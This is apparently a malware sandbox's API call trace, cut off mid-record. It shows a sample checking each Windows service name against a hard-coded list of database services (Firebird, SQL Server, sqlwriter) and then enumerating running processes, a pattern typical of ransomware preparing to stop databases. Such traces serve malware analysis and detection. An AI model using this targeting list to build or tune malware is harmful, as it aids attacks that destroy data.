lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0223.628] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0223.628] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0223.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0223.628] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0223.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0223.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0223.628] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0223.628] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0223.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0223.628] lstrlenW (lpString="CryptSvc") returned 8 [0223.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0223.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0223.628] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0223.628] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0223.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0223.628] lstrlenW (lpString="DcomLaunch") returned 10 [0223.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0223.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0223.628] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0223.628] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0223.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0223.628] lstrlenW (lpString="DeviceAssociationService") returned 24 [0223.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0223.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0223.628] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0223.628] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0223.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0223.629] lstrlenW (lpString="Dhcp") returned 4 [0223.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0223.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0223.629] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0223.629] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0223.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0223.629] lstrlenW (lpString="Dnscache") returned 8 [0223.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0223.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0223.629] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0223.629] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0223.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0223.629] lstrlenW (lpString="DPS") returned 3 [0223.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0223.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0223.629] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0223.629] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0223.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0223.629] lstrlenW (lpString="DusmSvc") returned 7 [0223.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0223.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0223.629] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0223.629] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0223.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0223.629] lstrlenW (lpString="EventLog") returned 8 [0223.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0223.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0223.629] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0223.630] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0223.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0223.630] lstrlenW (lpString="EventSystem") returned 11 [0223.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0223.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0223.630] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0223.630] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0223.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0223.630] lstrlenW (lpString="FontCache") returned 9 [0223.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0223.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0223.630] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0223.630] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0223.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0223.630] lstrlenW (lpString="gpsvc") returned 5 [0223.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0223.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0223.630] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0223.630] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0223.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0223.630] lstrlenW (lpString="iphlpsvc") returned 8 [0223.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0223.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0223.630] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0223.630] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0223.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0223.630] lstrlenW (lpString="KeyIso") returned 6 [0223.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0223.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0223.631] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0223.631] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0223.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0223.631] lstrlenW (lpString="LanmanServer") returned 12 [0223.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0223.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0223.631] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0223.631] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0223.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0223.631] lstrlenW (lpString="LanmanWorkstation") returned 17 [0223.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0223.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0223.631] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0223.631] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0223.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0223.631] lstrlenW (lpString="lfsvc") returned 5 [0223.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0223.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0223.631] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0223.631] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0223.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0223.631] lstrlenW (lpString="lmhosts") returned 7 [0223.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0223.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0223.631] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0223.631] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0223.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0223.631] lstrlenW (lpString="LSM") returned 3 [0223.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0223.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0223.632] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0223.632] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0223.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0223.632] lstrlenW (lpString="MpsSvc") returned 6 [0223.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0223.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0223.632] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0223.632] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0223.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0223.632] lstrlenW (lpString="NcbService") returned 10 [0223.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0223.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0223.632] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0223.632] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0223.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0223.632] lstrlenW (lpString="netprofm") returned 8 [0223.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0223.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0223.632] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0223.632] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0223.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0223.632] lstrlenW (lpString="NgcSvc") returned 6 [0223.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0223.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0223.632] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0223.632] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0223.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0223.632] lstrlenW (lpString="NlaSvc") returned 6 [0223.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0223.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0223.633] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0223.633] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0223.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0223.633] lstrlenW (lpString="nsi") returned 3 [0223.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0223.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0223.633] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0223.633] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0223.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0223.633] lstrlenW (lpString="PcaSvc") returned 6 [0223.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0223.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0223.633] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0223.633] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0223.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0223.633] lstrlenW (lpString="PlugPlay") returned 8 [0223.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0223.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0223.633] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0223.633] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0223.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0223.633] lstrlenW (lpString="Power") returned 5 [0223.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0223.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0223.633] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0223.633] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0223.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0223.634] lstrlenW (lpString="ProfSvc") returned 7 [0223.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0223.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0223.634] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0223.634] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0223.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0223.634] lstrlenW (lpString="RpcEptMapper") returned 12 [0223.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0223.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0223.634] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0223.634] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0223.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0223.634] lstrlenW (lpString="RpcSs") returned 5 [0223.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0223.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0223.634] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0223.634] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0223.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0223.634] lstrlenW (lpString="SamSs") returned 5 [0223.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0223.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0223.634] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0223.634] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0223.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0223.634] lstrlenW (lpString="Schedule") returned 8 [0223.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0223.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0223.634] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0223.635] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0223.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0223.635] lstrlenW (lpString="SecurityHealthService") returned 21 [0223.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0223.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0223.635] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0223.635] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0223.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0223.635] lstrlenW (lpString="SENS") returned 4 [0223.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0223.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0223.635] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0223.635] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0223.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0223.635] lstrlenW (lpString="ShellHWDetection") returned 16 [0223.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0223.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0223.635] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0223.635] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0223.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0223.635] lstrlenW (lpString="Spooler") returned 7 [0223.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0223.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0223.635] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0223.635] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0223.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0223.635] lstrlenW (lpString="StateRepository") returned 15 [0223.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0223.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0223.636] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0223.636] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0223.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0223.636] lstrlenW (lpString="SysMain") returned 7 [0223.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0223.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0223.636] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0223.636] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0223.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0223.636] lstrlenW (lpString="SystemEventsBroker") returned 18 [0223.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0223.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0223.636] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0223.636] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0223.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0223.636] lstrlenW (lpString="Themes") returned 6 [0223.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0223.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0223.636] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0223.636] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0223.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0223.636] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0223.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0223.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0223.636] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0223.636] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0223.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0223.636] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0223.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0223.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0223.637] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0223.637] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0223.637] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41211c0 | out: hHeap=0x670000) returned 1 [0223.637] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x380 [0223.755] Process32FirstW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0223.758] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0223.766] lstrlenW (lpString="System") returned 6 [0223.766] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0223.769] lstrlenW (lpString="smss.exe") returned 8 [0223.769] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0223.769] lstrlenW (lpString="csrss.exe") returned 9 [0223.769] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0223.770] lstrlenW (lpString="wininit.exe") returned 11 [0223.770] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0223.770] lstrlenW (lpString="csrss.exe") returned 9 [0223.770] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0223.771] lstrlenW (lpString="winlogon.exe") returned 12 [0223.771] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0223.771] lstrlenW (lpString="services.exe") returned 12 [0223.772] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0223.772] lstrlenW (lpString="lsass.exe") returned 9 [0223.772] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0223.773] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0223.773] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0223.773] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0223.773] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.774] lstrlenW (lpString="svchost.exe") returned 11 [0223.774] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.774] lstrlenW (lpString="svchost.exe") returned 11 [0223.774] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0223.775] lstrlenW (lpString="dwm.exe") returned 7 [0223.775] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.775] lstrlenW (lpString="svchost.exe") returned 11 [0223.775] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, 